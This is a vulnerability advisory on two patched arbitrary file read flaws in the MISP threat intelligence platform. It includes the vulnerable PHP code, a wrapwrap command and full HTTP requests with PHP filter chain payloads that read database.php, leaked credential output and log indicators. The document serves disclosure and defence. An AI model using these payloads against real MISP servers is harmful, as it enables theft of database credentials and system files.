MISP - Arbitrary file read

26/03/2024 - Download

Product

MISP core

Severity

Medium

Fixed Version(s)

2.4.187

Affected Version(s)

< 2.4.187

CVE Number

CVE-2024-29858,CVE-2024-29859

Authors

Rémi Matasse

Raphaël Lob

Description

Presentation

MISP is an open source threat intelligence platform with utilities and documentation for more effective threat intelligence, by sharing indicators of compromise.

Issue(s)

Synacktiv discovered 2 vulnerabilities in MISP, relying on the exploitation of PHP filter chain attacks. They both require authenticated access to the application and privileges to use the following features:

  • Import a MISP export file.
  • Create an organization.

Timeline

Date

Description
2024.03.04 Advisory sent to MISP
2024.03.05 MISP acknowledges the advisory
2024.03.06 Release of two patches (CVE-2024-29858, CVE-2024-29859)
2024.03.11 Release of version 2.4.187 containing the patches
2024.03.24 CVE-2024-29858 and CVE-2024-29859 assigned
2024.03.26 Public release

Many thanks to MISP for handling this quick disclosure process.

Technical details

Arbitrary file read through MISP event exports

Description

The readFromFile function relies on the native file_get_contents method:

# app/Lib/Tools/FileAccessTool.php

public static function readFromFile($file, $fileSize = -1)
{
    if ($fileSize === -1) {
        $content = @file_get_contents($file);
    } else {
    [...]
}

This method supports the php:// wrapper and is therefore affected by attacks based on PHP filter chains. To reach the targeted code, the add_misp_export  function calls the readFormFile method using a user-provided argument:

# app/Controller/EventsController.php

public function add_misp_export()
    {
        if ($this->request->is('post')) {
            $results = array();
            if (!empty($this->request->data)) {
                if (empty($this->request->data['Event'])) {
                    $this->request->data['Event'] = $this->request->data;
                }
                if (!empty($this->request->data['Event']['filecontent'])) {
                    $data = $this->request->data['Event']['filecontent'];
                    $isXml = $data[0] === '<';
                } elseif (isset($this->request->data['Event']['submittedfile'])) {
                    $file = $this->request->data['Event']['submittedfile'];
                    if ($file['error'] === UPLOAD_ERR_NO_FILE) {
                        $this->Flash->error(__('No file was uploaded.'));
                        $this->redirect(['controller' => 'events', 'action' => 'add_misp_export']);
                    }

                    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
                    if (($ext !== 'xml' && $ext !== 'json') && $file['size'] > 0 && is_uploaded_file($file['tmp_name'])) {
                        $log = ClassRegistry::init('Log');
                        $log->createLogEntry($this->Auth->user(), 'file_upload', 'Event', 0, 'MISP export file upload failed', 'File details: ' . json_encode($file));
                        $this->Flash->error(__('You may only upload MISP XML or MISP JSON files.'));
                        throw new MethodNotAllowedException(__('File upload failed or file does not have the expected extension (.xml / .json).'));
                    }

                    $isXml = $ext === 'xml';
                    $data = FileAccessTool::readFromFile($file['tmp_name'], $file['size']);
              }
[...]
              try {
                    $results = $this->Event->addMISPExportFile($this->Auth->user(), $data, $isXml, $takeOwnership, $publish);
               }
[...]
}

Impact

Because the addMISPExportFile function passes its $data argument to the jsonDecode method, the extracted file content should be a valid JSON document.

# app/Model/Event.php

public function addMISPExportFile(array $user, $data, $isXml = false, $takeOwnership = false, $publish = false)
    {
        if (empty($data)) {
            throw new Exception("File is empty");
        }
[...]
        $dataArray = $this->jsonDecode($data);
            if (isset($dataArray['response'][0])) {
                foreach ($dataArray['response'] as $k => $temp) {
                    $dataArray['Event'][] = $temp['Event'];
                    unset($dataArray['response'][$k]);
                }
            }
        // In case we receive an event that is not encapsulated in a response. This should never happen (unless it's a copy+paste fail),
        // but just in case, let's clean it up anyway.
        if (isset($dataArray['Event'])) {
            $dataArray['response']['Event'] = $dataArray['Event'];
            unset($dataArray['Event']);
        } elseif (!isset($dataArray['response'])){
            // Accept an event not containing the `Event` key
            $dataArray['response']['Event'] = $dataArray;
        }
[...]
}

This JSON file should respect the following format:

{
  "response": [
    {
      "Event": {
        // [...]
        "Attribute": [
          {
            // [...]
            "value": "<FILE CONTENT HERE>"
          }
        ]
      }
    }
  ]
}

In order to transform arbitrary data to valid JSON, the wrapwrap tool (developed by Charles Fol from LEXFO) was used to surround the extracted content with an arbitrary prefix and suffix, using PHP filter chains.

$ ./wrapwrap.py /var/www/MISP/app/Config/database.php '{"response": [{"Event":{"orgc_id":"1","org_id":"1","date":"2024-02-29","threat_level_id":"1","info":"test","published":false,"attribute_count":"1","analysis":"0","event_creator_email":"admin@admin.test","Org":{"id":"1","name":"ORGNAME","local":true},"Orgc":{"id":"1","name":"ORGNAME","local":true},"Attribute":[{"type":"text","category":"Internal reference","to_ids":false,"distribution":"0","timestamp":"1709223278","comment":"","sharing_group_id":"0","deleted":false,"disable_correlation":false,"object_id":"0","object_relation":null,"first_seen":null,"last_seen":null,"value":" ' '   "}]}}]}' 600
[*] Dumping 603 bytes from /var/www/MISP/app/Config/database.php.
[+] Wrote filter chain to chain.txt (size=635222).
$ cat chain.txt 
php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.quoted-printable-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.437.UCS
[...]
|convert.iconv.855.UTF7|convert.base64-decode|dechunk|convert.base64-decode|convert.base64-decode/resource=/var/www/MISP/app/Config/database.php

The authenticated attacker can then use the crafted PHP filter to read the file content:

POST /events/add_misp_export HTTP/1.1
Host: 192.168.122.189
Accept: application/json
Authorization: [...]
Content-Type: application/json
Cookie: [...]
Content-Length: 635280

{"Event": {"submittedfile": {"size": -1, "tmp_name": "php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode
[...]
-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|dechunk|convert.base64-decode|convert.base64-decode/resource=/var/www/MISP/app/Config/database.php"}}}

HTTP/1.1 500 Internal Server Error
[...]

{"name":"An Internal Error Has Occurred.","message":"An Internal Error Has Occurred.","url":"\/events\/add_misp_export"}

Despite the internal error, the event is still created and the Value attribute contains the file content:

poc_misp
File content leaked in the Value attribute.

 

<?php=0A  
class DATABASE_CONFIG {=0A
          public $default =3D array(=0A
                  'datasource' =3D> 'Database/Mysql',=0A
                  //'datasource' =3D> 'Database/Postgres',=0A
                  'persistent' =3D> false,=0A
                  'host' =3D> 'localhost',=0A
                  'login' =3D> 'misp',=0A
                  'port' =3D> 3306, // MySQL & MariaDB=0A
                  //'port' =3D> 5432, // PostgreSQL=0A
                  'password' =3D> 'e2[...]c6',=0A
                  'database' =3D> 'misp',=0A
                  'pr

 

Recommendation

Upgrade MISP to version 2.4.187 at least.

Arbitrary file read through organization creation

Description

The __uploadLogo function relies on the native mime_content_type method:

# app/Controller/OrganisationsController.php

public function admin_add()
    {
        if ($this->request->is('post')) {
            [...]
            $this->Organisation->create();
            $this->request->data['Organisation']['created_by'] = $this->Auth->user('id');
            [...]
            if ($this->Organisation->save($this->request->data)) {
                $this->__uploadLogo($this->Organisation->id);
            }
[...]
}

private function __uploadLogo($orgId)
    {
        if (!isset($this->request->data['Organisation']['logo']['size'])) {
            return false;
        }

        $logo = $this->request->data['Organisation']['logo'];
        if ($logo['size'] > 0 && $logo['error'] == 0) {
            $extension = pathinfo($logo['name'], PATHINFO_EXTENSION);
            $filename = $orgId . '.' . ($extension === 'svg' ? 'svg' : 'png');

            if ($logo['size'] > 250*1024) {
                $this->Flash->error(__('This organisation logo is too large, maximum file size allowed is 250kB.'));
                return false;
            }

            if ($extension !== 'svg' && $extension !== 'png') {
                $this->Flash->error(__('Invalid file extension, Only PNG and SVG images are allowed.'));
                return false;
            }

            $imgMime = mime_content_type($logo['tmp_name']);
[...]
}

This method supports the php:// wrapper and is therefore affected by attacks based on PHP filter chains. When adding a new organization, the application passes the user-provided value to the affected function without sanitization.

The creation of a new organization from a legitimate workflow normally results with a 200 status code:

POST /admin/organisations/add HTTP/1.1
Host: 192.168.122.189
Authorization: [...]
Content-Type: application/json
Cookie: [...]
Content-Length: 111

{"Organisation": {"local":0,"name":"test9","logo":{"name":"test.png","size":1,"error":0,"tmp_name":"hello.png"}}}


HTTP/1.1 200 OK
[...]

{
    "Organisation": {
        "id": "33",
        "name": "test9",
        "date_created": "2024-03-01 16:40:14",
        "date_modified": "2024-03-01 16:40:14",
        "description": null,
        "type": "",
        "nationality": "",
        "sector": "",
        "created_by": "1",
        "uuid": "ac09294d-1b9c-47d9-bb4d-b3895d614146",
        "contacts": null,
        "local": false,
        "restricted_to_domain": null,
        "landingpage": null
    }
}

However, when the error-based oracle is triggered, the server prompts a 500 error code:

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4/resource=php://temp 
POST /admin/organisations/add HTTP/1.1
Host: 192.168.122.189
Authorization: [...]
Content-Type: application/json
Cookie: [...]
Content-Length: 1255

{"Organisation": {"local":0,"name":"p","logo":{"name":"test.png","size":1,"error":0,"tmp_name":"php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4/resource=php://temp"}}}


HTTP/1.1 500 Internal Server Error
[...]

{"name":"An Internal Error Has Occurred.","message":"An Internal Error Has Occurred.","url":"\/admin\/organisations\/add"}

 

Impact

An attacker could retrieve files such as /etc/passwd or /var/www/MISP/app/Config/database.php by exploiting an error-based oracle. However, this exploitation would require generating random organization names on each request, and would also generate as much new organizations.

IOC

The following error messages are generated in the web server logs:

$ grep -Ri "Allowed memory size of" /var/log/apache2/
/var/log/apache2/misp.local_error.log:[Fri Mar 01 16:26:47.367545 2024] [php7:error] [pid 7327] [client 192.168.122.1:40342] PHP Fatal error:  Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1541406720 bytes) in /var/www/MISP/app/Controller/OrganisationsController.php on line 494
/var/log/apache2/misp.local_error.log:[Fri Mar 01 16:31:47.015755 2024] [php7:error] [pid 5808] [client 192.168.122.1:41376] PHP Fatal error:  Allowed memory size of 2147483648 bytes exhausted (tried to allocate 402653184 bytes) in /var/www/MISP/app/Controller/OrganisationsController.php on line 494
/var/log/apache2/misp.local_error.log:[Fri Mar 01 16:32:41.339757 2024] [php7:error] [pid 7563] [client 192.168.122.1:34496] PHP Fatal error:  Allowed memory size of 2147483648 bytes exhausted (tried to allocate 805306368 bytes) in /var/www/MISP/app/Controller/OrganisationsController.php on line 494
[...]

This is due to PHP Allowed memory size exhaustion errors being used as an oracle during the file content exfiltration.